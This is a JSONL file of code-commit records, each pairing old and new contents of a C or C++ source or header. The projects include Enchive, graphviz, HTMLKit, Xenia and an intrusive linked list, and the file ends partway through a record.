{"commit":"e9a50022c0fd0f5ca60fd12c542ba9bbdfda7606","old_file":"src\/docs.h","new_file":"src\/docs.h","old_contents":"static const char *docs_usage[] = {\n\"usage enchive [-p|--pubkey <file>] [-s|--seckey <file>]\",\n#if ENCHIVE_OPTION_AGENT\n\"              [-a|--agent[=seconds]] [-A|--no-agent]\",\n#endif\n\"              [--version] [--help]\",\n\"              <command> [args]\",\n\"\",\n\"Commands (unique prefixes accepted):\",\n\"  keygen        generate a new master keypair\",\n\"  archive       archive using the public key\",\n\"  extract       extract from an archive using the secret key\",\n\"  fingerprint   print the master keypair fingerprint\",\n\"\",\n\"  -p, --pubkey <file>        set the public key file [~\/.enchive.pub]\",\n\"  -s, --seckey <file>        set the secret key file [~\/.enchive.sec]\",\n#if ENCHIVE_OPTION_AGENT\n\"  -a, --agent[=seconds]      run key agent after reading a passphrase [\"\n     STR(ENCHIVE_AGENT_TIMEOUT) \"]\",\n\"  -A, --no-agent             don't run the key agent\"\n#  if ENCHIVE_AGENT_DEFAULT_ENABLED\n    \"\",\n#  else\n    \" (default)\",\n#  endif\n#endif\n\"  --version                  display version information\",\n\"  --help                     display this usage information\",\n\"\",\n\"Enchive archives files by encrypting them to yourself using your\",\n\"public key. It uses ChaCha20, Curve25519, and HMAC-SHA256.\",\n0};\n","new_contents":"static const char *docs_usage[] = {\n\"usage enchive [-p|--pubkey <file>] [-s|--seckey <file>]\",\n#if ENCHIVE_OPTION_AGENT\n\"              [-a|--agent[=seconds]] [-A|--no-agent]\",\n#endif\n\"              [--version] [--help]\",\n\"              <command> [args]\",\n\"\",\n\"Commands (unique prefixes accepted):\",\n\"  keygen        generate a new master keypair\",\n\"  archive       archive using the public key\",\n\"  extract       extract from an archive using the secret key\",\n\"  fingerprint   print the master keypair fingerprint\",\n\"\",\n\"  -p, --pubkey <file>        set the public key file\",\n\"  -s, --seckey <file>        set the secret key file\",\n#if ENCHIVE_OPTION_AGENT\n\"  -a, --agent[=seconds]      run key agent after reading a passphrase [\"\n     STR(ENCHIVE_AGENT_TIMEOUT) \"]\",\n\"  -A, --no-agent             don't run the key agent\"\n#  if ENCHIVE_AGENT_DEFAULT_ENABLED\n    \"\",\n#  else\n    \" (default)\",\n#  endif\n#endif\n\"  --version                  display version information\",\n\"  --help                     display this usage information\",\n\"\",\n\"Enchive archives files by encrypting them to yourself using your\",\n\"public key. It uses ChaCha20, Curve25519, and HMAC-SHA256.\",\n0};\n","subject":"Remove incorrect path defaults from --help","message":"Remove incorrect path defaults from --help\n","lang":"C","license":"unlicense","repos":"skeeto\/enchive"}
{"commit":"f969a9b919fb9765c8f955ab2c68284c41abb097","old_file":"aes.c","new_file":"aes.c","old_contents":"#include <stdio.h>\n\n#include \"aes.h\"\n\nstatic void aes_encrypt_block_openssl(const unsigned char *, unsigned char *, const AES_KEY *);\nstatic void aes_encrypt_block_aesni(const unsigned char *, unsigned char *, const AES_KEY *);\n\nint\nuse_aesni()\n{\n\treturn 0;\n}\n\nvoid\naes_encrypt_block(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tif (use_aesni())\n\t{\n\t\taes_encrypt_block_aesni(in, out, key);\n\t}\n\telse\n\t{\n\t\taes_encrypt_block_openssl(in, out, key);\n\t}\n}\n\nstatic void\naes_encrypt_block_openssl(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tAES_encrypt(in, out, key);\n}\n\nstatic void\naes_encrypt_block_aesni(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tAES_encrypt(in, out, key);\n}\n","new_contents":"#include <stdio.h>\n\n#include \"aes.h\"\n\nstatic void aes_encrypt_block_openssl(const unsigned char *, unsigned char *, const AES_KEY *);\nstatic void aes_encrypt_block_aesni(const unsigned char *, unsigned char *, const AES_KEY *);\n\nint\nuse_aesni()\n{\n\treturn 0;\n}\n\nvoid\naes_encrypt_block(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tstatic int aesni;\n\n\tif (aesni == 0)\n\t{\n\t\taesni = use_aesni();\n\t}\n\n\tif (aesni == 1)\n\t{\n\t\taes_encrypt_block_aesni(in, out, key);\n\t}\n\telse\n\t{\n\t\taes_encrypt_block_openssl(in, out, key);\n\t}\n}\n\nstatic void\naes_encrypt_block_openssl(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tAES_encrypt(in, out, key);\n}\n\nstatic void\naes_encrypt_block_aesni(const unsigned char *in, unsigned char *out, const AES_KEY *key)\n{\n\tAES_encrypt(in, out, key);\n}\n","subject":"Use a static variable to track whether to use AES-NI","message":"Use a static variable to track whether to use AES-NI\n","lang":"C","license":"bsd-2-clause","repos":"seankelly\/aesni,seankelly\/aesni"}
{"commit":"c2b83606e10756537cdbeb528815808a810460d8","old_file":"ch1\/e01-20_detab.c","new_file":"ch1\/e01-20_detab.c","old_contents":"\/*\n * detab: Replace tabs with blanks.\n *\/\n\n#include <stdio.h>\n\n#define MAXLINE 10000\t\/* Max input line length. *\/\n#define TABSTOP\t8\t\/* Set tab stop to eight characters. *\/\n\nint\tgetaline(char *, int);\nvoid\tdetab(char *);\n\n\/* detab:  Replace tabs with blanks. *\/\nint\nmain(void)\n{\n\tchar\tline[MAXLINE];\t\/* Current input line. *\/\n\n\twhile (getaline(line, MAXLINE) > 0) {\n\t\tdetab(line);\n\t\tprintf(\"%s\", line);\n\t}\n\n\treturn 0;\n}\n\n\/* getaline:  Read a line into `s'; return length. *\/\nint\ngetaline(char *s, int lim)\n{\n\tint c, i;\n\n\tc = 0;\n\n\tfor (i = 0; i < lim - 1 && (c = getchar()) != EOF && c != '\\n'; ++i)\n\t\ts[i] = c;\n\tif (c == '\\n')\n\t\ts[i++] = c;\n\ts[i] = '\\0';\n\n\treturn i;\n}\n\n\/* detab:  Replace tabs with blanks. *\/\nvoid\ndetab(char *s)\n{\n\tint i, j;\n\n\tfor (i = 0; s[i] != '\\0'; ++i) {\n\t\tif (s[i] == '\\t') {\n\t\t\tfor (j = 0; j <= (i % TABSTOP + TABSTOP); ++j)\n\t\t\t\ts[i + j] = ' ';\n\t\t\ti += j;\n\t\t}\n\t}\n}\n","new_contents":"\/*\n * detab: Replace tabs with blanks.\n *\/\n\n#include <stdio.h>\n\n#define TABSIZE\t8\n\n\/* detab:  Replace tabs with blanks. *\/\nint\nmain(void)\n{\n\tint ch, i;\n\n\tfor (i = 0; (ch = getchar()) != EOF; i++) {\n\t\tif (ch == '\\n')\n\t\t\ti = 0;\n\t\tif (ch == '\\t') {\n\t\t\tputchar(' ');\n\t\t\twhile (i % TABSIZE) {\n\t\t\t\tputchar(' ');\n\t\t\t\ti++;\n\t\t\t}\n\t\t} else\n\t\t\tputchar(ch);\n\t}\n\n\treturn 0;\n}\n","subject":"Make detab actually work reliably.","message":"Make detab actually work reliably.\n","lang":"C","license":"isc","repos":"chettrick\/tcpl"}
{"commit":"e4b57f3333a9da01b823a0024291c64728c688b4","old_file":"Sources\/include\/HTMLText.h","new_file":"Sources\/include\/HTMLText.h","old_contents":"\/\/\n\/\/  HTMLText.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 26\/02\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import \"HTMLCharacterData.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n A HTML Text node\n *\/\n@interface HTMLText : HTMLCharacterData\n\n\/**\n Initializes a new HTML text node.\n\n @param data The text string.\n @return A new isntance of a HTML text node.\n *\/\n- (instancetype)initWithData:(NSString *)data;\n\n\/**\n Appends the string to this text node.\n \n @param string The string to append.\n *\/\n- (void)appendString:(NSString *)string __attribute__((deprecated(\"Use the mutable data property instead.\")));\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  HTMLText.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 26\/02\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import \"HTMLCharacterData.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n A HTML Text node\n *\/\n@interface HTMLText : HTMLCharacterData\n\n\/**\n Initializes a new HTML text node.\n\n @param data The text string.\n @return A new isntance of a HTML text node.\n *\/\n- (instancetype)initWithData:(NSString *)data;\n\n\/**\n Appends the string to this text node.\n \n @param string The string to append.\n *\/\n- (void)appendString:(NSString *)string __attribute__((deprecated(\"Use `appendData:` instead.\")));\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Update deprecation message in HTML Text node","message":"Update deprecation message in HTML Text node\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"c4336db289bfad5a3e9274bf181282be86bc6ce7","old_file":"8\/ra.c","new_file":"8\/ra.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdarg.h>\n#include <ctype.h>\n#include <string.h>\n#include <assert.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"parse.h\"\n#include \"asm.h\"\n\nstruct Asmbb {\n    int id;\n    char **lbls;\n    size_t nlbls;\n    Insn **insns;\n    size_t ninsns;\n    Bitset *livein;\n    Bitset *liveout;\n};\n\nvoid adduses(Insn *i, Bitset *bs)\n{\n}\n\nvoid subdefs(Insn *i, Bitset *bs)\n{\n}\n","subject":"Add in stubbing in of new register allocator.","message":"Add in stubbing in of new register allocator.\n","lang":"C","license":"mit","repos":"8l\/myrddin,oridb\/mc,oridb\/mc,oridb\/mc,8l\/myrddin,oridb\/mc"}
{"commit":"7283c0eb982a87ac5afe2897a78f470e078c1e24","old_file":"cmd\/smyrna\/gui\/topviewsettings.h","new_file":"cmd\/smyrna\/gui\/topviewsettings.h","old_contents":"#ifndef TOPVIEWSETTINGS_H\n#define TOPVIEWSETTINGS_H\n\n\n#include \"smyrnadefs.h\"\n\n\n_BB void on_settingsOKBtn_clicked (GtkWidget *widget,gpointer user_data);\n_BB void on_settingsCancelBtn_clicked (GtkWidget *widget,gpointer user_data);\nint load_settings_from_graph(Agraph_t *g);\nint update_graph_from_settings(Agraph_t *g);\nint show_settings_form();\n\n\n\n\n#endif\n","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef TOPVIEWSETTINGS_H\n#define TOPVIEWSETTINGS_H\n\n#include \"smyrnadefs.h\"\n\n_BB void on_settingsOKBtn_clicked(GtkWidget * widget, gpointer user_data);\n_BB void on_settingsCancelBtn_clicked(GtkWidget * widget,\n\t\t\t\t      gpointer user_data);\nextern int load_settings_from_graph(Agraph_t * g);\nextern int update_graph_from_settings(Agraph_t * g);\nextern int show_settings_form();\n\n#endif\n","subject":"Clean up smyrna files: remove unnecessary globals modify libraries not to rely on code in cmd\/smyrna remove static declarations from .h files remove unnecessary libraries mark unused code and clean up warnings","message":"Clean up smyrna files:\n  remove unnecessary globals\n  modify libraries not to rely on code in cmd\/smyrna\n  remove static declarations from .h files\n  remove unnecessary libraries\n  mark unused code and clean up warnings\n","lang":"C","license":"epl-1.0","repos":"pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz"}
{"commit":"f02af86c7adffc88b55c098ef3db9f24df7bf2fc","old_file":"payload\/setupable.h","new_file":"payload\/setupable.h","old_contents":"","new_contents":"#ifndef RCR_LEVEL1PAYLOAD_SETUPABLE_H_\n#define RCR_LEVEL1PAYLOAD_SETUPABLE_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\nnamespace rcr {\nnamespace level1payload {\n\n\/\/ An interface indicating a class requires construction (or constructor-like)\n\/\/ logic to be delayed until Arduino setup() function.\nclass Setupable {\n public:\n  \/\/ Setup this object. (Especially within the setup() function in the \n  \/\/ Arduino program.)\n  virtual void Setup() = 0;\n\n  \/\/ Must provide virtual d'tor and body to prevent memory leak.\n  virtual ~Setupable() {}\n};\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_SETUPABLE_H_\n","subject":"Create an interface indicating a class requires construction (or constructor-like) logic to be delayed until Arduino setup() function","message":"Create an interface indicating a class requires construction (or constructor-like) logic to be delayed until Arduino setup() function\n","lang":"C","license":"mit","repos":"nolanholden\/geovis,nolanholden\/payload-level1-rocket,nolanholden\/geovis,nolanholden\/geovis"}
{"commit":"71ee827a7a6a0f71d52df93af91647d74e98316f","old_file":"unity\/unity_config.h","new_file":"unity\/unity_config.h","old_contents":"","new_contents":"\/****************************************************************************\n * Copyright (c) 2015, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\n *\/\n\n#ifndef UNITY_CONFIG_H\n#define UNITY_CONFIG_H\n\n\/* When using unity with the mbed RTOS printing to the serial port using the stdlib is not \n   allowed as it causes a hardfault. Unity has the following define to control how failure\n   messages are written:\n   \n   #ifndef UNITY_OUTPUT_CHAR\n       #include <stdio.h>\n       #define UNITY_OUTPUT_CHAR(a) (void)putchar(a)\n   #endif\n   \n   To make this safe we can define our own version of UNITY_OUTPUT_CHAR and make sure it is \n   thread safe.\n*\/\n#ifndef UNITY_OUTPUT_CHAR\n#define UNITY_OUTPUT_CHAR(a) utest_safe_putc(a)\n#endif \/\/UNITY_OUTPUT_CHAR\n    \n#endif \/\/ UNITY_CONFIG_H\n","subject":"Add configuration file. Unity provides the ability for the user to add this file in order to substitute built in Unity functions for user specific ones. In this case we are using it to redefine UNITY_OUTPUT_CHAR which is used by all the printing functions. By default it is directed to stdout, however to ensure the use of Unity is safe when used with the mbed RTOS the output char macros is redefined to a utest alternative. This alternative will only write a character to stdout if interrupts are enabled. NOTE to allow this configuration file to be used the following macro must be defined for the build: UNITY_INCLUDE_CONFIG_H","message":"Add configuration file. Unity provides the ability for the user to add\nthis file in order to substitute built in Unity functions for user\nspecific ones.\nIn this case we are using it to redefine UNITY_OUTPUT_CHAR which is\nused by all the printing functions. By default it is directed to\nstdout, however to ensure the use of Unity is safe when used with\nthe mbed RTOS the output char macros is redefined to a utest\nalternative. This alternative will only write a character to stdout\nif interrupts are enabled.\nNOTE to allow this configuration file to be used the following\nmacro must be defined for the build:\nUNITY_INCLUDE_CONFIG_H\n","lang":"C","license":"mit","repos":"ARMmbed\/unity"}
{"commit":"5b176269d71cdc9da1890c0633078ea30693fa80","old_file":"dot.demo\/neatopack.c","new_file":"dot.demo\/neatopack.c","old_contents":"","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include <gvc.h>\n#include <pack.h>\n\nint main (int argc, char* argv[])\n{\n    graph_t *g;\n    graph_t *sg;\n    FILE *fp;\n    graph_t** cc;\n    int       i, ncc;\n    GVC_t *gvc;\n\n    gvc = gvContext();\n\n    if (argc > 1)\n        fp = fopen(argv[1], \"r\");\n    else\n        fp = stdin;\n    g = agread(fp);\n\n    cc = ccomps(g, &ncc, (char*)0);\n\n    for (i = 0; i < ncc; i++) {\n        sg = cc[i];\n        nodeInduce (sg);\n        gvLayout(gvc, sg, \"neato\");\n    }\n    pack_graph (ncc, cc, g, 0);\n\n    gvRender(gvc, g, \"ps\", stdout);\n\n    for (i = 0; i < ncc; i++) {\n        sg = cc[i];\n        gvFreeLayout(gvc, sg);\n        agdelete(g, sg);\n    }\n\n    agclose(g);\n\n    return (gvFreeContext(gvc));\n\n}\n","subject":"Add example using the pack library","message":"Add example using the pack library\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,kbrock\/graphviz"}
{"commit":"9da17b7f4b31097ece96c929fc0702cd9480333e","old_file":"net\/http\/handler.h","new_file":"net\/http\/handler.h","old_contents":"","new_contents":"\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright(c) 2016 huan.wang\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files(the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell copies of the Software,\n\/\/ and to permit persons to whom the Software is furnished to do so, subject to the following conditions :\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\n\/\/ INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n\/\/ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n\/\/ WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n\/\/ \n\n#pragma once\n\n#include <memory>\n\n#include \"net\/http\/context.h\"\n\nnamespace net {\nnamespace http {\n\nclass Handler\n{\npublic:\n    virtual void ServeHTTP(std::shared_ptr<Context> ctx) = 0;\n};\n\n} \/\/ !namespace http\n} \/\/ !namespace net","subject":"Add Handler for user to handle a http request.","message":"Add Handler for user to handle a http request.\n","lang":"C","license":"mit","repos":"whrool\/Net,whrool\/Net"}
{"commit":"8207e9b84e9581d286baf5869b9dcbf6351ddd50","old_file":"nwn2mdk-lib\/cgmath.h","new_file":"nwn2mdk-lib\/cgmath.h","old_contents":"#pragma once\n\ntemplate <typename T>\nclass Vector3 {\npublic:\n\tT x, y, z;\n\n\tVector3(T x, T y, T z)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t}\n};\n\ntemplate <typename T>\nclass Vector4 {\npublic:\n\tT x, y, z, w;\n\n\tVector4() {}\n\n\tVector4(T x, T y, T z, T w)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t\tthis->w = w;\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n","new_contents":"#pragma once\n\ntemplate <typename T>\nclass Vector3 {\npublic:\n\tT x, y, z;\n\n\tVector3(T x, T y, T z)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n\ntemplate <typename T>\nclass Vector4 {\npublic:\n\tT x, y, z, w;\n\n\tVector4() {}\n\n\tVector4(T x, T y, T z, T w)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t\tthis->w = w;\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n","subject":"Add subscript operator to Vector3","message":"Add subscript operator to Vector3\n","lang":"C","license":"apache-2.0","repos":"Arbos\/nwn2mdk,Arbos\/nwn2mdk,Arbos\/nwn2mdk"}
{"commit":"9c5503790e1dfc04b1e3b0f5d0bd562e45d6aee1","old_file":"Caprica\/common\/IntrusiveLinkedList.h","new_file":"Caprica\/common\/IntrusiveLinkedList.h","old_contents":"","new_contents":"#pragma once\n\nnamespace caprica {\n\ntemplate<typename T>\nstruct IntrusiveLinkedList final\n{\n  void push_back(T* val) {\n    mSize++;\n    if (front == nullptr) {\n      front = back = val;\n    } else {\n      back->next = val;\n      back = val;\n    }\n  }\n\n  size_t size() const { return mSize; }\n\nprivate:\n  size_t mSize{ 0 };\n  T* front{ nullptr };\n  T* back{ nullptr };\n\n  struct ConstIterator final\n  {\n    ConstIterator& operator ++() {\n      if (cur == nullptr)\n        return *this;\n      cur = cur->next;\n      return *this;\n    }\n\n    const T*& operator *() {\n      return cur;\n    }\n    const T*& operator *() const {\n      return cur;\n    }\n    const T*& operator ->() {\n      return cur;\n    }\n    const T*& operator ->() const {\n      return cur;\n    }\n\n    bool operator ==(const ConstIterator& other) const {\n      return cur == other.cur;\n    }\n\n    bool operator !=(const ConstIterator& other) const {\n      return !(*this == other);\n    }\n\n  private:\n    friend IntrusiveLinkedList;\n    const T* cur{ nullptr };\n\n    ConstIterator() = default;\n    ConstIterator(const T* front) : cur(front) { }\n  };\n\n  struct Iterator final\n  {\n    Iterator& operator ++() {\n      if (cur == nullptr)\n        return *this;\n      cur = cur->next;\n      return *this;\n    }\n\n    T*& operator *() {\n      return cur;\n    }\n    const T*& operator *() const {\n      return cur;\n    }\n    T*& operator ->() {\n      return cur;\n    }\n    const T*& operator ->() const {\n      return cur;\n    }\n\n    bool operator ==(const Iterator& other) const {\n      return cur == other.cur;\n    }\n\n    bool operator !=(const Iterator& other) const {\n      return !(*this == other);\n    }\n\n  private:\n    friend IntrusiveLinkedList;\n    T* cur{ nullptr };\n\n    Iterator() = default;\n    Iterator(T* front) : cur(front) { }\n  };\n\npublic:\n  ConstIterator begin() const {\n    if (!mSize)\n      return ConstIterator();\n    return ConstIterator(front);\n  }\n\n  ConstIterator end() const {\n    return ConstIterator();\n  }\n\n  Iterator begin() {\n    if (!mSize)\n      return Iterator();\n    return Iterator(front);\n  }\n\n  Iterator end() {\n    return Iterator();\n  }\n};\n\n}\n","subject":"Add an intrusive linked list implementation to eliminate the heap allocations needed for the vectors.","message":"Add an intrusive linked list implementation to eliminate the heap allocations needed for the vectors.\n","lang":"C","license":"mit","repos":"Orvid\/Caprica,Orvid\/Caprica"}
{"commit":"4e74db8e51a59530d7dd2caf48694322ab4cd22b","old_file":"src\/xenia\/kernel\/objects\/xsemaphore.h","new_file":"src\/xenia\/kernel\/objects\/xsemaphore.h","old_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2013 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n#define XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n\n#include \"xenia\/kernel\/xobject.h\"\n#include \"xenia\/xbox.h\"\n\nnamespace xe {\nnamespace kernel {\n\nstruct X_SEMAPHORE {\n  \/\/ TODO: Make this not empty!\n};\n\nclass XSemaphore : public XObject {\n public:\n  XSemaphore(KernelState* kernel_state);\n  virtual ~XSemaphore();\n\n  void Initialize(int32_t initial_count, int32_t maximum_count);\n  void InitializeNative(void* native_ptr, X_DISPATCH_HEADER& header);\n\n  int32_t ReleaseSemaphore(int32_t release_count);\n\n  virtual void* GetWaitHandle() { return native_handle_; }\n\n private:\n  HANDLE native_handle_;\n};\n\n}  \/\/ namespace kernel\n}  \/\/ namespace xe\n\n#endif  \/\/ XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n","new_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2013 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n#define XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n\n#include \"xenia\/kernel\/xobject.h\"\n#include \"xenia\/xbox.h\"\n\nnamespace xe {\nnamespace kernel {\n\nstruct X_SEMAPHORE {\n  X_DISPATCH_HEADER header;\n  \/\/ TODO: Make this not empty!\n};\n\nclass XSemaphore : public XObject {\n public:\n  XSemaphore(KernelState* kernel_state);\n  virtual ~XSemaphore();\n\n  void Initialize(int32_t initial_count, int32_t maximum_count);\n  void InitializeNative(void* native_ptr, X_DISPATCH_HEADER& header);\n\n  int32_t ReleaseSemaphore(int32_t release_count);\n\n  virtual void* GetWaitHandle() { return native_handle_; }\n\n private:\n  HANDLE native_handle_;\n};\n\n}  \/\/ namespace kernel\n}  \/\/ namespace xe\n\n#endif  \/\/ XENIA_KERNEL_XBOXKRNL_XSEMAPHORE_H_\n","subject":"Add the dispatch header to X_SEMAPHORE","message":"Add the dispatch header to 